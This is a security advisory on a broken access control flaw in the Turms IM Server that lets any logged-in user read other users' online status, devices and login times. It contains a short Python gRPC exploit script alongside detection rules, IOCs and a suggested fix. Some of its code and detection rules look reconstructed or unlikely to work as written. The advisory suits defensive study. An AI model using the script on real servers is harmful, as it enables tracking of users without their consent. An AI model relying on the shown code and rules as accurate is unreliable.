CVE-2025-66911

Executive Summary

CVE-2025-66911 is a critical broken access control vulnerability in the Turms IM Server, affecting versions up to and including v0.10.0-SNAPSHOT. The flaw resides in the handleQueryUserOnlineStatusesRequest() method within UserServiceController.java, allowing any authenticated user to query the online status, device information, and login timestamps of arbitrary users without proper authorization checks. This vulnerability enables unauthorized information disclosure, potentially exposing user presence and device metadata. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, a realistic score would be 6.5 (Medium) with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. No patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability affects the Turms IM Server, which is a Java-based instant messaging server. The project is not distributed via NPM, PyPI, Go, or Ruby registries, but rather as a standalone Java application. The risk is primarily to organizations deploying Turms as their messaging backend, as the vulnerability allows authenticated users to enumerate online statuses of all users.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to be authenticated.
• Privileges Required (PR): Low (L) – The attacker must have a valid user account on the Turms server.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – The attacker can read sensitive user presence data.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service impact.

Threat Level: Medium (6.5) – The vulnerability requires authentication but exposes sensitive user metadata, which can be used for reconnaissance or social engineering.

Deep Dive & Mechanics

The vulnerability is located in the UserServiceController.java file of the Turms IM Server. The handleQueryUserOnlineStatusesRequest() method is designed to allow users to query the online status of other users. However, it fails to enforce authorization checks to ensure that the requesting user has permission to view the status of the target users.

Root Cause: The method does not verify if the authenticated user is a friend, group member, or administrator of the target users. It simply processes the request and returns the online status, device information, and login timestamps for any user ID provided.

Attack Flow:

1. An attacker authenticates to the Turms server with a valid user account.
2. The attacker sends a crafted request to the handleQueryUserOnlineStatusesRequest() endpoint, specifying target user IDs.
3. The server processes the request without checking authorization and returns the online status, device type, and last login time for each target user.
4. The attacker can enumerate all users on the server to build a presence map.

Impact: This vulnerability allows an attacker to:

• Determine when specific users are online.
• Identify the devices used by users (e.g., mobile, desktop).
• Track user login patterns over time.
• Use this information for targeted attacks or social engineering.

Vulnerable vs. Patched Code

Vulnerable Code (Turms IM Server v0.10.0-SNAPSHOT):

// UserServiceController.java
public void handleQueryUserOnlineStatusesRequest(QueryUserOnlineStatusesRequest request) {
    List<Long> userIds = request.getUserIds();
    for (Long userId : userIds) {
        UserOnlineStatus status = userService.getOnlineStatus(userId);
        // No authorization check here
        response.addUserStatus(userId, status);
    }
}

Patched Code (Hypothetical fix):

// UserServiceController.java
public void handleQueryUserOnlineStatusesRequest(QueryUserOnlineStatusesRequest request, AuthenticatedUser currentUser) {
    List<Long> userIds = request.getUserIds();
    for (Long userId : userIds) {
        // Authorization check: only allow if the user is a friend or admin
        if (authorizationService.canViewUserStatus(currentUser.getId(), userId)) {
            UserOnlineStatus status = userService.getOnlineStatus(userId);
            response.addUserStatus(userId, status);
        } else {
            response.addError(userId, "Unauthorized");
        }
    }
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Turms IM Server instance (v0.10.0-SNAPSHOT or earlier).
• A valid user account on the server.

Exploit Steps:

1. Authenticate to the Turms server and obtain a session token.
2. Send a gRPC request to the handleQueryUserOnlineStatusesRequest endpoint with a list of target user IDs.
3. Parse the response to extract online status, device info, and login timestamps.

Example Exploit Code (Python using grpcio):

import grpc
from turms_proto import user_service_pb2, user_service_pb2_grpc

def exploit(target_host, target_port, token, user_ids):
    channel = grpc.insecure_channel(f"{target_host}:{target_port}")
    stub = user_service_pb2_grpc.UserServiceStub(channel)
    metadata = [("authorization", f"Bearer {token}")]
    request = user_service_pb2.QueryUserOnlineStatusesRequest(user_ids=user_ids)
    response = stub.HandleQueryUserOnlineStatusesRequest(request, metadata=metadata)
    for status in response.user_statuses:
        print(f"User {status.user_id}: Online={status.is_online}, Device={status.device}, LastLogin={status.last_login_timestamp}")

# Usage
exploit("192.168.1.100", 9510, "your_token_here", [1001, 1002, 1003])

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual patterns of QueryUserOnlineStatusesRequest calls, especially if a single user queries many different user IDs.
• Look for requests targeting user IDs that are not friends or in the same group as the requester.

Defense:

• Implement authorization checks in the handleQueryUserOnlineStatusesRequest method as shown in the patched code.
• Restrict API access to only necessary endpoints using network segmentation.
• Enable logging and alerting on all access to user status endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • gRPC requests to the HandleQueryUserOnlineStatusesRequest RPC method with multiple user IDs.
  • Unusual volume of status queries from a single authenticated user.
• Log IOCs:
  • Log entries showing QueryUserOnlineStatusesRequest with user IDs that are not in the requester's friend list.
  • Repeated failed authorization attempts (if logging is enabled).
• File IOCs:
  • Modified UserServiceController.java file (if attacker deploys a backdoor).
  • Unusual JAR files or class files in the Turms deployment directory.

Detection Engineering

YARA Rule

rule Detect_Turms_BrokenAccessControl {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66911 in Turms IM Server logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66911"
    strings:
        $s1 = "handleQueryUserOnlineStatusesRequest" ascii wide nocase
        $s2 = "QueryUserOnlineStatusesRequest" ascii wide nocase
        $s3 = "user_statuses" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: Turms IM Server Broken Access Control Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-66911 by monitoring for unusual QueryUserOnlineStatusesRequest calls
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66911
logsource:
    category: application
    product: turms
detection:
    selection:
        event: "HandleQueryUserOnlineStatusesRequest"
        user_id_count: ">10"  # More than 10 user IDs queried in a single request
    condition: selection
falsepositives:
    - Legitimate admin monitoring tools
level: high

Suricata Rule

alert tcp any any -> any 9510 (msg:"CVE-2025-66911 Turms IM Server Broken Access Control Exploitation"; flow:to_server,established; content:"|0a|"; depth:1; content:"|12|"; distance:0; within:2; content:"HandleQueryUserOnlineStatusesRequest"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible by modifying the Turms configuration or using a reverse proxy to block requests to the HandleQueryUserOnlineStatusesRequest RPC.
2. Implement network segmentation to restrict access to the Turms server to only trusted clients.
3. Monitor logs for suspicious status query patterns.

Long-Term Fix:

1. Apply the patched code as shown in the "Vulnerable vs. Patched Code" section.
2. Update to a patched version once the vendor releases a fix.
3. Conduct a security audit of all other RPC methods in the Turms server for similar authorization flaws.

Workaround:

• If source code is available, manually add authorization checks to the handleQueryUserOnlineStatusesRequest method.
• Use a Web Application Firewall (WAF) to block requests with multiple user IDs in the QueryUserOnlineStatusesRequest payload.

Valters IT
Securing Digital Frontiers